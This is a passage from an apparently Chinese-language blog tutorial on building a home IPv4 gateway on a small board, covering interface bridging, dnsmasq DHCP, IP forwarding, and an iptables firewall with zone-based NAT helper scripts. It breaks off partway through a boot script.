&lt;p&gt;注意修改相关的密钥管理选项。之后修改&lt;code&gt;&#x2F;etc&#x2F;default&#x2F;hostapd&lt;&#x2F;code&gt;，注释掉配置文件那一行。重启板子，验证一下配置是否正确就可以了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-chu-ipv4wang-guan-da-jian&quot;&gt;基础IPv4网关搭建&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;lanjie-kou-qiao-jie&quot;&gt;LAN接口桥接&lt;&#x2F;h3&gt;
&lt;p&gt;在执行这一步之前，请确定相关的有线和无线接口工作正常，二层链路工作正常，数据帧收发正常。&lt;&#x2F;p&gt;
&lt;p&gt;我们首先将有线和无线LAN接口桥接起来。&lt;code&gt;apt&lt;&#x2F;code&gt;安装&lt;code&gt;brctl&lt;&#x2F;code&gt;后，在&lt;code&gt;&#x2F;etc&#x2F;network&#x2F;interfaces&lt;&#x2F;code&gt;中添加：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;auto&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; br0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; br0 inet static&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  bridge_ports&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; eth0.100 wlan1lan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  hostname&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; seemless&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  address&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 192.168.40.200&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;  netmask&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 255.255.255.0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;lu-you-fu-wu-da-jian&quot;&gt;路由服务搭建&lt;&#x2F;h3&gt;
&lt;p&gt;重启网络服务，确定br0建立起来，并且有线客户端、无线客户端和机体互通后，LAN工作正常。&lt;&#x2F;p&gt;
&lt;p&gt;接下来启动DHCP服务。修改&lt;code&gt;&#x2F;etc&#x2F;dnsmasq.conf&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;interface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;br0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dhcp-range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;192.168.40.50,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; 192.168.40.100,12h&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dhcp-option&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;option:router,192.168.40.200&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证DHCP服务器工作正常，且下发配置正常后，接着修改&lt;code&gt;&#x2F;etc&#x2F;sysctl.conf&lt;&#x2F;code&gt;，开启转发：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;net.ipv4.ip_forward&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;=1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#net.ipv4.tcp_syncookies=1  # 这一条你也可以取消注释，如果你确定不会有人胆肥到找你来搞事&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;natfu-wu-da-jian&quot;&gt;NAT服务搭建&lt;&#x2F;h3&gt;
&lt;p&gt;上面我们实际已经完成了一个路由器的建立。很多人用家用路由器用的比较多后，总是容易把NAT和路由的概念混淆。实际上，这两者的概念是截然不同的。如果我们现在在本机和舍友的无线路由器上分别添加两条路由表项，指定到&lt;code&gt;192.168.40.0&#x2F;24&lt;&#x2F;code&gt;和&lt;code&gt;192.168.1.0&#x2F;24&lt;&#x2F;code&gt;网段流量的流向后，我们就已经可以上网了。&lt;&#x2F;p&gt;
&lt;p&gt;然而事情常常没那么好，在诸如ADSL的情况下，你是不可能让ISP方添加一条你自己的路由表项的。因此我们接下来要做的就是NAT。与此同时，我们添加一些自己的防火墙项目。&lt;&#x2F;p&gt;
&lt;p&gt;我猜刚才配置好LAN接口后，你已经自己启动了SSH服务了。那么注意，在下面的配置过程中，你最好准备一条串口线，否则万一配错了，就很尴尬。&lt;&#x2F;p&gt;
&lt;p&gt;首先配置一个最基础版本的防火墙，用于我们在启动期间的安全防护：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -P&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; INPUT DROP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -P&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FORWARD DROP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -P&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; OUTPUT ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; INPUT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; RELATED,ESTABLISHED&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; INPUT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; br0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后记得保存一下&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;service&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; netfilter-persistent save&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来写几个辅助函数。我强烈建议你在阅读本文以及其他文章的后续工作之前，仔细阅读Stephen Zhang的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;onebitbug.me&#x2F;2014&#x2F;05&#x2F;28&#x2F;building-a-gateway&#x2F;&quot;&gt;这几篇文章&lt;&#x2F;a&gt;。知其然而不知其所以然是很痛苦的一件事情。&lt;&#x2F;p&gt;
&lt;p&gt;按照Stephen文章中分Zone的管理方案，我先写了个这么个东西：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#!&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Some code copied from https:&#x2F;&#x2F;onebitbug.me&#x2F;2014&#x2F;06&#x2F;01&#x2F;building-a-gateway-iptables&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; iptables_init&lt;&#x2F;span&gt;&lt;span&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span&gt; lan_iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span&gt; lan_iaddr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;$2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    # Clear all old rules &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -X&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; nat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; nat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -X&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    # Build basic inbound rules&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -P&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; INPUT DROP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -P&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; OUTPUT ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -P&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FORWARD DROP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; INPUT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ESTABLISHED,RELATED&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FORWARD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; --state&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ESTABLISHED,RELATED&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    # Now all basic inbound rules are configured.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    # We need to define some Zones which are helpful for management.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    # Those things should not be done by me, but I&amp;#39;ve left some functions here.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; iptables_zone_create&lt;&#x2F;span&gt;&lt;span&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  local&lt;&#x2F;span&gt;&lt;span&gt; zone_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -N&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Zone&lt;&#x2F;span&gt;&lt;span&gt;${zone_name}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;Input&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -N&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Zone&lt;&#x2F;span&gt;&lt;span&gt;${zone_name}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;Forward&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; nat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -N&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Zone&lt;&#x2F;span&gt;&lt;span&gt;${zone_name}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;Postrouting&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; iptables_zone_member_add&lt;&#x2F;span&gt;&lt;span&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span&gt; zone_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;$1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;    shift&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span&gt; zone_iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span&gt; zone_iaddr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; zone_iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; $@&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; INPUT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -i&lt;&#x2F;span&gt;&lt;span&gt; $zone_iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                      -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Zone&lt;&#x2F;span&gt;&lt;span&gt;${zone_name}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;Input&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FORWARD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -i&lt;&#x2F;span&gt;&lt;span&gt; $zone_iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                      -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Zone&lt;&#x2F;span&gt;&lt;span&gt;${zone_name}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;Forward&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        $iptables_cmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; nat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; POSTROUTING&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span&gt; $zone_iface&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;                      -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Zone&lt;&#x2F;span&gt;&lt;span&gt;${zone_name}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;Postrouting&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后写一个&lt;code&gt;network_wlan_boot.sh&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Route table processing...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; route add default dev wlan0wan via&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 192.168.10.233&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FW Zone processing...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_init&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_zone_create&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Wan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_zone_create&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Lan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_zone_member_add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Wan wlan0wan&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables_zone_member_add&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; Lan br0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; FW Forwarding processing...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ZoneLanInput&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ACCEPT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
